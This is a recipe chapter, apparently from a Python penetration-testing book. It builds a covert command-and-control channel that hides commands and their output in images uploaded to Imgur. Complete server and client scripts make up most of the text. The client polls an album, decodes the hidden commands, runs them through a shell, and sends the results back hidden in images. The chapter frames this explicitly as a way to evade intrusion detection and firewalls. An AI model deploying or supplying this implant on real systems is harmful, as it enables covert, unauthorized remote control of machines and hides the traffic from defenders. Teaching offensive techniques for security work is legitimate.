Enabling command and control using steganography

This recipe will show how steganography can be used to control another machine. This can be handy if you are trying to evade Intrusion Detection System (IDS)/firewalls. The only traffic that would be seen in this scenario is HTTPS traffic to and from the client machine. This recipe will show a basic server and client setup.

Getting ready

In this recipe, we will use the image sharing website Imgur to host our images. The reason for this is simply that the Python API for Imgur is easy to install and simple to use. You could choose to work with another, though. However, you will need to create an account with Imgur if you wish to use this script and also register an application to get the API Key and Secret. Once this is done, you can install the imgur Python libraries by using pip:

$ pip install imgurpython

You can register for an account at http://www.imgur.com.

Once signed up for an account, you can register an app to obtain an API Key and Secret from https://api.imgur.com/oauth2/addclient.

Once you have your imgur account, you'll need to create an album and upload an image to it.

This recipe will also import the full stego text script from the previous recipe.

How to do it…

The way this recipe works is split into two parts. We will have one script that will run and act as a server, and another script that will run and act as the client. The basic steps that our scripts will follow is detailed in the following:

The server script is run.
The server waits for the client to announce it's ready.
The client script is run.
The client informs the server that it's ready.
The server shows that the client is waiting and prompts user for command to send over to client.
The server sends a command.
The server waits for a response.
The client receives command and runs it.
The client sends output from command back to the server.
The server receives output from the client and displays it to the user.
The steps 5 to 10 are repeated until a quit command is sent.

With these steps in mind, let's take a look first at the server script:

from imgurpython import ImgurClient
import StegoText, random, time, ast, base64

def get_input(string):
    ''' Get input from console regardless of python 2 or 3 '''
    try:
        return raw_input(string)
    except:
        return input(string)

def create_command_message(uid, command):
    command = str(base64.b32encode(command.replace('\n','')))
    return "{'uuid':'" + uid + "','command':'" + command + "'}"

def send_command_message(uid, client_os, image_url):
    command = get_input(client_os + "@" + uid + ">")
    steg_path = StegoText.hide_message(image_url, create_command_message(uid, command), "Imgur1.png", True)
    print "Sending command to client ..."
    uploaded = client.upload_from_path(steg_path)
    client.album_add_images(a[0].id, uploaded['id'])

    if command == "quit":
        sys.exit()
        
    return uploaded['datetime']

def authenticate():
    client_id = '<REPLACE WITH YOUR IMGUR CLIENT ID>'
    client_secret = '<REPLACE WITH YOUR IMGUR CLIENT SECRET>'

    client = ImgurClient(client_id, client_secret)
    authorization_url = client.get_auth_url('pin')

    print("Go to the following URL: {0}".format(authorization_url))
    pin = get_input("Enter pin code: ")

    credentials = client.authorize(pin, 'pin')
    client.set_user_auth(credentials['access_token'], credentials['refresh_token'])

    return client

client = authenticate()
a = client.get_account_albums("C2ImageServer")

imgs = client.get_album_images(a[0].id)
last_message_datetime = imgs[-1].datetime

print "Awaiting client connection ..."

loop = True
while loop:
    time.sleep(5)
    imgs = client.get_album_images(a[0].id)
    if imgs[-1].datetime > last_message_datetime:
        last_message_datetime = imgs[-1].datetime
        client_dict =  ast.literal_eval(StegoText.extract_message(imgs[-1].link, True))
        if client_dict['status'] == "ready":
            print "Client connected:\n"
            print "Client UUID:" + client_dict['uuid']
            print "Client OS:" + client_dict['os']
        else:
            print base64.b32decode(client_dict['response'])

        random.choice(client.default_memes()).link
        last_message_datetime = send_command_message(client_dict['uuid'],
        client_dict['os'],
        random.choice(client.default_memes()).link)

The following is the script for our client:

from imgurpython import ImgurClient
import StegoText
import ast, os, time, shlex, subprocess, base64, random, sys

def get_input(string):
    try:
        return raw_input(string)
    except:
        return input(string)

def authenticate():
    client_id = '<REPLACE WITH YOUR IMGUR CLIENT ID>'
    client_secret = '<REPLACE WITH YOUR IMGUR CLIENT SECRET>'

    client = ImgurClient(client_id, client_secret)
    authorization_url = client.get_auth_url('pin')

    print("Go to the following URL: {0}".format(authorization_url))
    pin = get_input("Enter pin code: ")

    credentials = client.authorize(pin, 'pin')
    client.set_user_auth(credentials['access_token'], credentials['refresh_token'])

    return client


client_uuid = "test_client_1"

client = authenticate()
a = client.get_account_albums("<YOUR IMGUR USERNAME>")

imgs = client.get_album_images(a[0].id)
last_message_datetime = imgs[-1].datetime

steg_path = StegoText.hide_message(random.choice(client.default_memes()). link,  "{'os':'" + os.name + "', 'uuid':'" + client_uuid + "','status':'ready'}",  "Imgur1.png",True)
uploaded = client.upload_from_path(steg_path)
client.album_add_images(a[0].id, uploaded['id'])
last_message_datetime = uploaded['datetime']

while True:
    
    time.sleep(5) 
    imgs = client.get_album_images(a[0].id)
    if imgs[-1].datetime > last_message_datetime:
        last_message_datetime = imgs[-1].datetime
        client_dict =  ast.literal_eval(StegoText.extract_message(imgs[-1].link, True))
        if client_dict['uuid'] == client_uuid:
            command = base64.b32decode(client_dict['command'])

            if command == "quit":
                sys.exit(0)

            args = shlex.split(command)
            p = subprocess.Popen(args, stdout=subprocess.PIPE, shell=True)
            (output, err) = p.communicate()
            p_status = p.wait()

            steg_path = StegoText.hide_message(random.choice (client.default_memes()).link,  "{'os':'" + os.name + "', 'uuid':'" + client_uuid + "','status':'response', 'response':'" + str(base64.b32encode(output)) + "'}", "Imgur1.png", True)
            uploaded = client.upload_from_path(steg_path)
            client.album_add_images(a[0].id, uploaded['id'])
            last_message_datetime = uploaded['datetime']

How it works…

Firstly, we create an imgur client object; the authenticate function handles getting the imgur client authenticated with our account and app. When you run the script, it will output a URL to visit to get a pin code to enter. It then gets a list of albums for our imgur username. If you haven't created an album yet, the script will fail, so make sure you've got an album ready. We will take the first album in the list and get a further list of all images contained in that album.

The image list is ordered by putting the earliest uploaded image first; for our script to work, we need to know the timestamp of the latest uploaded image, so we use the [-1] index to get it and store it in a variable. When this is done, the server will wait for the client to connect:

client = authenticate()
a = client.get_account_albums("<YOUR IMGUR ACCOUNT NAME>")

imgs = client.get_album_images(a[0].id)
last_message_datetime = imgs[-1].datetime

print "Awaiting client connection ..."

Once the server is awaiting a client connection, we can run the client script. The initial start of the client script creates an imgur client object, just like the server, instead of waiting; however, it generates a message and hides it in a random image. This message contains the os type the client is running on (this will make it easier for the server user to know what commands to run), a ready status, and also an identifier for the client (if you wanted to expand on the script to allow multiple clients to connect to the server).

Once the image has been uploaded, the last_message_datetime function is set to the new timestamp:

client_uuid = "test_client_1"

client = authenticate()
a = client.get_account_albums("C2ImageServer")

imgs = client.get_album_images(a[0].id)
last_message_datetime = imgs[-1].datetime

steg_path = StegoText.hide_message(random.choice (client.default_memes()).link,  "{'os':'" + os.name + "', 'uuid':'" + client_uuid + "','status':'ready'}",  "Imgur1.png",True)
uploaded = client.upload_from_path(steg_path)
client.album_add_images(a[0].id, uploaded['id'])
last_message_datetime = uploaded['datetime']

The server will wait until it sees the message; it does this by using a while loop and checks for an image datetime later than the one it saved when we fired it up. Once it sees there is a new image, it will download it and extract the message. It then checks the message to see if it's the client ready message; if it is, then it displays the uuid client and os type, and it then prompts the user for input:

loop = True
while loop:
    time.sleep(5)
    imgs = client.get_album_images(a[0].id)
    if imgs[-1].datetime > last_message_datetime:
        last_message_datetime = imgs[-1].datetime
        client_dict = ast.literal_eval(StegoText.extract_message(imgs[-1].link, True))
        if client_dict['status'] == "ready":
            print "Client connected:\n"
            print "Client UUID:" + client_dict['uuid']
            print "Client OS:" + client_dict['os']

After the user inputs a command, it's encoded up by using base32 in order to avoid breaking our message string. It's then hidden in a random image and uploaded to imgur. The client is sat in a while loop awaiting this message. The start of this loop checks the datetime in the same way our server did; if it sees a new image, it checks to see if it's addressed to this machine using uuid, and if it is, it will extract the message, convert it into a friendly format that Popen will accept using shlex, and then run the command using Popen. It then waits for the output from the command before hiding it in a random image and uploading it to imgur:

loop = True
while loop:
    
    time.sleep(5) 
    imgs = client.get_album_images(a[0].id)
    if imgs[-1].datetime > last_message_datetime:
        last_message_datetime = imgs[-1].datetime
        client_dict =  ast.literal_eval(StegoText.extract_message(imgs[-1].link, True))
        if client_dict['uuid'] == client_uuid:
            command = base64.b32decode(client_dict['command'])
            
            if command == "quit":
                sys.exit(0)
                
            args = shlex.split(command)
            p = subprocess.Popen(args, stdout=subprocess.PIPE, shell=True)
            (output, err) = p.communicate()
            p_status = p.wait()

            steg_path = StegoText.hide_message(random.choice (client.default_memes()).link,  "{'os':'" + os.name + "', 'uuid':'" + client_uuid + "','status':'response', 'response':'" + str(base64.b32encode(output)) + "'}",  "Imgur1.png", True)
            uploaded = client.upload_from_path(steg_path)
            client.album_add_images(a[0].id, uploaded['id'])
            last_message_datetime = uploaded['datetime']

All that's left for the server to do is get the new image, extract the hidden output, and display it to the user. It then gives a new prompt and awaits the next command. That's it; it is a very simple way of passing command and control data over steganography.

Previous Chapter

Extracting text from images

Next Chapter

7. Encryption and Encoding

Table of Contents for Python: Penetration Testing for Developers

Enabling command and control using steganography

Getting ready

How to do it…

How it works…

Table of Contents for
Python: Penetration Testing for Developers